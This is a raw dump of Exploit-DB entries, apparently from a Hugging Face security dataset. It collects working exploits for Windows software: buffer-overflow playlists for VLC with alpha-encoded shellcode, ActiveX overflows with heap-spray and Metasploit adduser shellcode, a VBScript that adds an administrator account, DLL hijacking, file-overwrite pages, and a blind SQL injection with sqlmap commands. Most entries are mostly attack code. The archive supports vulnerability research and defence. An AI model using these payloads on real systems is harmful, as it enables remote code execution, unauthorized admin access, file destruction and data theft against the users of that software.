deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25572
Description: Video Cam Server 1.0 - Full Path Disclosure
Type: remote
Platform: windows
Date: 2005-05-02
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/13457/info

Video Cam Server is prone to a path disclosure issue when invalid data is submitted.

This issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer. 

http://www.example.com/%20
Exploit-DB #9303
Description: VideoLAN VLC Media Player 0.8.6f - 'smb://' URI Handling Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-07-30
Author: Pankaj Kohli

Exploit:
/*  VLC Media Player 'smb://' URI Handling Remote Buffer Overflow Vulnerability Exploit
 *  Reference: https://www.securityfocus.com/bid/35500
 *
 *  Tested on VLC media player 0.8.6f on WinXP SP3
 *   
 *  Coded by Pankaj Kohli
 *  http://www.pank4j.com
 *
 */
 
#include <stdio.h>
#include <string.h>
 
// ASCII shellcode (Display a message box & exit)
unsigned char shell[] = "TY[PII_REDACTED][PII_REDACTED][PII_REDACTED]777QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkOjpJHIvKOYokObPPwRN1uqt5PA";
 
long jmp = 0x7E485233;  // jmp esp (user32.dll)
 
int main(int argc, char **argv) {
    char buff[512], *p;
    FILE *fp;
    int i;
    long *ptr;
 
    fp = fopen("sploit.xspf", "wb");
    fprintf(fp, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
    fprintf(fp, "<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n");
    fprintf(fp, "\t<title>Playlist</title>\n");
    fprintf(fp, "\t<trackList>\n");
    fprintf(fp, "\t\t<track>\n");
    fprintf(fp, "\t\t\t<location>smb://example.com@www.example.com/foo/#{");
    
    printf("[*] Creating buffer\n");
    for(i=0; i<300; i++) {
        buff[i] = 'a' + ((i/4)%26);
    }
    ptr = (long *) (buff + 96);
    *ptr = jmp;
    for(i=0; i<strlen((const char *) shell); i++) {
        buff[i+100] = shell[i];
    }
    buff[300] = 0;
    fprintf(fp, "%s", buff);
    
    fprintf(fp, "}</location>\n");
    fprintf(fp, "\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
    fprintf(fp, "\t\t\t\t<vlc:id>0</vlc:id>\n");
    fprintf(fp, "\t\t\t</extension>\n");
    fprintf(fp, "\t\t</track>\n");
    fprintf(fp, "\t</trackList>\n");
    fprintf(fp, "</playlist>\n");
    fclose(fp);
     
    printf("[*] Exploit file written to sploit.xspf\n");
     
    return 0;
}

// milw0rm.com [2009-07-30]
Exploit-DB #9318
Description: VideoLAN VLC Media Player 0.8.6f - 'smb://' URI Handling Remote Universal Buffer Overflow
Type: remote
Platform: windows
Date: 2009-07-31
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Exploit     :      	VLC Media Player 0.8.6f smb:// URI Handling Remote BOF Exploit (univ)
#[*] Credits	 :		Pankaj Kohli
#[*] Exploit     : 		His0k4


header1=(
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31"
"\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54"
"\x46\x2d\x38\x22\x3f\x3e\x0a\x3c\x70\x6c\x61\x79\x6c\x69\x73\x74"
"\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x22\x20\x78\x6d\x6c"
"\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x78\x73\x70\x66\x2e"
"\x6f\x72\x67\x2f\x6e\x73\x2f\x30\x2f\x22\x20\x78\x6d\x6c\x6e\x73"
"\x3a\x76\x6c\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77"
"\x2e\x76\x69\x64\x65\x6f\x6c\x61\x6e\x2e\x6f\x72\x67\x2f\x76\x6c"
"\x63\x2f\x70\x6c\x61\x79\x6c\x69\x73\x74\x2f\x6e\x73\x2f\x30\x2f"
"\x22\x3e\x0a\x09\x3c\x74\x69\x74\x6c\x65\x3e\x50\x6c\x61\x79\x6c"
"\x69\x73\x74\x3c\x2f\x74\x69\x74\x6c\x65\x3e\x0a\x09\x3c\x74\x72"
"\x61\x63\x6b\x4c\x69\x73\x74\x3e\x0a\x09\x09\x3c\x74\x72\x61\x63"
"\x6b\x3e\x0a\x09\x09\x09\x3c\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x3e"
"\x73\x6d\x62\x3a\x2f\x2f\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f"
"\x6d\x40\x77\x77\x77\x2e\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f"
"\x6d\x2f\x66\x6f\x6f\x2f\x23\x7b")

header2=(
"\x7d\x3c\x2f\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x3e\x0a\x09\x09\x09"
"\x3c\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x20\x61\x70\x70\x6c\x69"
"\x63\x61\x74\x69\x6f\x6e\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77"
"\x77\x77\x2e\x76\x69\x64\x65\x6f\x6c\x61\x6e\x2e\x6f\x72\x67\x2f"
"\x76\x6c\x63\x2f\x70\x6c\x61\x79\x6c\x69\x73\x74\x2f\x30\x22\x3e"
"\x0a\x09\x09\x09\x09\x3c\x76\x6c\x63\x3a\x69\x64\x3e\x30\x3c\x2f"
"\x76\x6c\x63\x3a\x69\x64\x3e\x0a\x09\x09\x09\x3c\x2f\x65\x78\x74"
"\x65\x6e\x73\x69\x6f\x6e\x3e\x0a\x09\x09\x3c\x2f\x74\x72\x61\x63"
"\x6b\x3e\x0a\x09\x3c\x2f\x74\x72\x61\x63\x6b\x4c\x69\x73\x74\x3e"
"\x0a\x3c\x2f\x70\x6c\x61\x79\x6c\x69\x73\x74\x3e\x0a\x0a")

#alpha2 encoded
popup_msg=(
"TY[PII_REDACTED][PII_REDACTED][PII_REDACTED]777QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkO"
"jpJHIvKOYokObPPwRN1uqt5PA")

payload =   header1
payload += "\x41"*96
payload += "\x4A\x21\x51\x68" # push esp;retn printable 
payload += popup_msg
payload += "\x41"*43
payload += header2

try:
    out_file = open("exploit.xspf","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-07-31]
Exploit-DB #9816
Description: VideoLAN VLC Media Player 1.0.2 - 'smb://' URI Stack Overflow
Type: remote
Platform: windows
Date: 2009-09-25
Author: Dr_IDE

Exploit:
##########################################################################################################
#
# VLC Media Player 1.0.2 smb:// URI Handling Remote Stack Overflow PoC
# Found By:	Dr_IDE
# Tested:	Windows XP SP2 , XP SP3 and Windows 7 RC1 with VLC 1.0.2 "Goldeneye"
# Download:	http://majorgeeks.com/downloadget.php?id=4674&file=1&evp=a87d1b50269ba27878899d30ec7cd947
#
##########################################################################################################

# XPSP3 Crash 
"""
EAX FFFFFFFE
ECX 42424242        <--------- w00t!
EDX 00000000
EBX 42424242
ESP 02EAF694
EBP 02EAF7C4
ESI 61CC8324 libacc_4.61CC8324
EDI 61CC8323 libacc_4.61CC8323
EIP 77C478AC msvcrt.77C478AC
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFAC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_MOD_NOT_FOUND (0000007E)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -UNORM FB18 0184A1C0 00AD4518
ST1 empty +UNORM 2088 [PII_REDACTED]
ST2 empty 0[PII_REDACTED]738806780e-4933
ST3 empty -??? FFFF 00000000 77C2C42E
ST4 empty +UNORM 0B10 00B094E8 00000000
ST5 empty 0[PII_REDACTED]431287370e-4933
ST6 empty 0.0
ST7 empty -0[PII_REDACTED]356302916
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

"""
header1 =  ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")
header1 += ("\t<title>Playlist</title>\n")
header1 += ("\t<trackList>\n")
header1 += ("\t\t<track>\n")
header1 += ("\t\t\t<location>smb://example.com@www.example.com/foo/#{")

payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000)

header2 =  ("}</location>\n");
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");
header2 += ("\t\t\t</extension>\n");
header2 += ("\t\t</track>\n");
header2 += ("\t</trackList>\n");
header2 += ("</playlist>\n");

try:
    f1 = open("vlc_1.0.2.xspf","w")
    f1.write(header1 + payload + header2)
    f1.close()
    print("\nExploit file created!\n")
except:
    print "Error"
Exploit-DB #33712
Description: VideoLAN VLC Media Player 1.0.x - Bookmark Creation Buffer Overflow
Type: remote
Platform: windows
Date: 2010-03-05
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/38569/info

VLC Media Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

VLC Media Player 1.0.5 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8837.mp3
Exploit-DB #34870
Description: VideoLAN VLC Media Player 1.1.4 Mozilla MultiMedia Plugin - Remote Code Execution
Type: remote
Platform: windows
Date: 2010-10-19
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/44211/info

VLC media player is prone to a remote code-execution vulnerability.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

VLC media player 1.1.4 is vulnerable; other versions may also be affected. 

 <html>  
   <body onload="setTimeout('location.reload()', 100);">
     <embed type="application/x-vlc-plugin" src="NonExistantFileName.avi"></embed>
   </body>
 </html>
Exploit-DB #3916
Description: VImpX ActiveX (VImpX.ocx 4.7.3.0) - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-13
Author: rgod

Exploit:
<!-
IE 6 / DB Software Laboratory VImpX ActiveX (VImpX.ocx v. 4.7.3.0)
remote buffer overflow exploit
windows xp sp2 it version / eip overwrite method
by rgod
site: http://retrogod.altervista.org
mail: retrog at alice dot it

software site: http://www.dbsoftlab.com/e107_plugins/content/content.php?content.53
->
<html>
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='VImpAX1'>
<?php
/* win32_adduser -  PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com */
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x48\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x41\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x4d\x56".
"\x46\x36\x50\x32\x45\x46\x4a\x47\x45\x56\x42\x52\x4f\x52\x43\x36".
"\x42\x52\x50\x46\x45\x56\x46\x47\x42\x52\x45\x47\x43\x37\x45\x56".
"\x44\x57\x42\x42\x43\x57\x45\x47\x50\x56\x42\x52\x46\x47\x4c\x37".
"\x45\x47\x42\x52\x4f\x42\x41\x34\x46\x34\x46\x54\x42\x42\x48\x42".
"\x48\x32\x42\x52\x50\x46\x45\x36\x46\x57\x42\x52\x4e\x46\x4f\x36".
"\x43\x56\x41\x46\x4e\x36\x47\x56\x44\x47\x4f\x36\x45\x57\x42\x37".
"\x42\x52\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56\x49\x36\x43\x37".
"\x46\x47\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37\x43\x37\x42\x52".
"\x43\x57\x45\x57\x50\x46\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54".
"\x42\x50\x5a";
$junk = "\x45\x45\x45\x59";
$eip  = "\x2d\xd1\xe0\x77"; // call eax user32.dll
$exploit= str_repeat("\x90",268).$eip.$junk."\x90\x90\x90\x0d\x01".str_repeat("\x90",16).$shellcode.str_repeat("\x90",9999);
echo "<param name=\"LogFile\" value=\"$exploit\"/>";
?>
</object>
</html>

# milw0rm.com [2007-05-13]
Exploit-DB #34768
Description: VirIT eXplorer 6.7.43 - 'tg-scan.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-09-27
Author: anT!-Tr0J4n

Exploit:
// source: https://www.securityfocus.com/bid/43506/info

VirIT eXplorer is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to scan a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

/*
#VirIT eXplorer Lite DLL Hijacking Exploit (tg-scan.dll)

#Author : anT!-Tr0J4n

#Greetz : Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email  : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Software Link:http://www.tgsoft.it/tgsoft_home.asp

#Tested on: Windows XP sp3

#Description:Vir.IT 6.7.41 AntiVirus + AntiSpyware + Personal Firewall for your computer
Scan & Clean virus, spyware, trojan, backdoor, bho, dialer, adware,hijacker, keylogger, worm, rootkit, fraudtool & malware


#####################
How  TO use : Compile and rename to tg-scan.dll , create a file in the same dir with one of the following extensions.
            check the result > Hack3d             
#####################

#tg-scan.dll (code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
Exploit-DB #50958
Description: Virtua Software Cobranca 12S - SQLi
Type: remote
Platform: windows
Date: 2022-06-14
Author: Luca Regne

Exploit:
# Exploit Title: Virtua Software Cobranca 12S - SQLi
# Shodan Query: http.favicon.hash:876876147
# Date: 13/08/2021
# Exploit Author: Luca Regne
# Vendor Homepage: https://www.virtuasoftware.com.br/
# Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe
# Version: 12S
# Tested on: Windows Server 2019
# CVE : CVE-2021-37589
------------------------------------------------------------------------


## Description 
A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter. 

## Request PoC
```
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Connection: close
Cookie: origem_selecionado=; PHPSESSID=

idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario

```

This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error. 

```
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Connection: close
Cookie: origem_selecionado=; PHPSESSID=

idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario

```

## Exploit
Save the request from burp to file 
```bash
python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent
```
Exploit-DB #3967
Description: Virtual CD 9.0.0.2 - 'vc9api.DLL' Remote Shell Commands Execution
Type: remote
Platform: windows
Date: 2007-05-21
Author: rgod

Exploit:
<!--
IE 6 / Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) remote shell commands execution exploit
by rgod
site: retrogod.altervista.org

software site: http://www.virtualcd-online.com/
-->
<html>
<object classid='clsid:C75848D7-72BD-499C-80F3-FD0ED62DF58C' id='VCDAPILibApi'></object>
<script language='vbscript'>

strCmd="cmd.exe /c net user sun tzu /add | net localgroup Administrators sun /add "
strWorkDir="c:\windows\system32\"
showCmd=1
bWait=1

VCDAPILibApi.VCDLaunchAndWait strCmd ,strWorkDir ,showCmd ,bWait

</script>
</html>

# milw0rm.com [2007-05-21]
Exploit-DB #6875
Description: Visagesoft eXPert PDF ViewerX - 'VSPDFViewerX.ocx' File Overwrite
Type: remote
Platform: windows
Date: 2008-10-29
Author: Marco Torti

Exploit:
 VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
 thanks UGIS
################################################################################
 FileVersion:   3.0.990.0
 CLSID:  {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A}
 Description: Visagesoft PDF Viewer Control
 ProgID:        VSPDFViewer.VSPDFViewer
 
  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data
 
 Vulnerable method:
 savePageAsBitmap(ByVal bitmapFileName  As String) As Boolean
##################################################################################
 Vulnerability Description:
    The "savePageAsBitmap" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument, i don't have time, check others functions....
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
###################################################################################
<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start exploit'>
<script language='vbscript'>
Sub launch
target.savePageAsBitmap "c:\windows\-system.ini"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>
###################################################################################

# milw0rm.com [2008-10-29]
Exploit-DB #15668
Description: Viscom Image Viewer CP Gold 6 - ActiveX 'TifMergeMultiFiles()' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-12-03
Author: Dr_IDE

Exploit:
<html>
<!--
Exploit Title:	Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://www.viscom.com
Greets: 	bz1p, bz1p@bshellz.net for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
-->
<object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">
<param NAME="LPKPath" VALUE="imageviewer.lpk"></object>
<object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");

arg2=String("abcd");

target.TIFMergeMultiFiles(arg2, arg2, ret);
</script>
</html>
Exploit-DB #4240
Description: VMware 'IntraProcessLogging.dll' 5.5.3.42958 - Arbitrary Data Write
Type: remote
Platform: windows
Date: 2007-07-28
Author: callAX

Exploit:
<!--
---------------------------------------------------------------------------

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
===========================================================================

Internal ID: VULWAR200707280.
-----------

Introduction
------------
IntraProcessLogging.dll is a library included in the Program Vmware from
Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The SetLogFileName method doesn't check if it's being called from the
application,
or malicious users. Remote Attacker could craft a html page and overwrite
arbitrary
files in a system.


Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.


Workaround
----------
- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
- Unregister IntraProcessLogging.dll using regsvr32.


Timeline
--------
July 28 2007 -- Bug Discovery.
July 28 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>


Technical Details
-----------------

SetLogFileName method receives one argument filename in this format
"c:\path\file".


Proof of Concept
---------------->

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>

<SCRIPT>

function Do_it()
 {
   File = "c:\\arbitrary_file.txt"
   ctrl.SetLogFileName(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-28]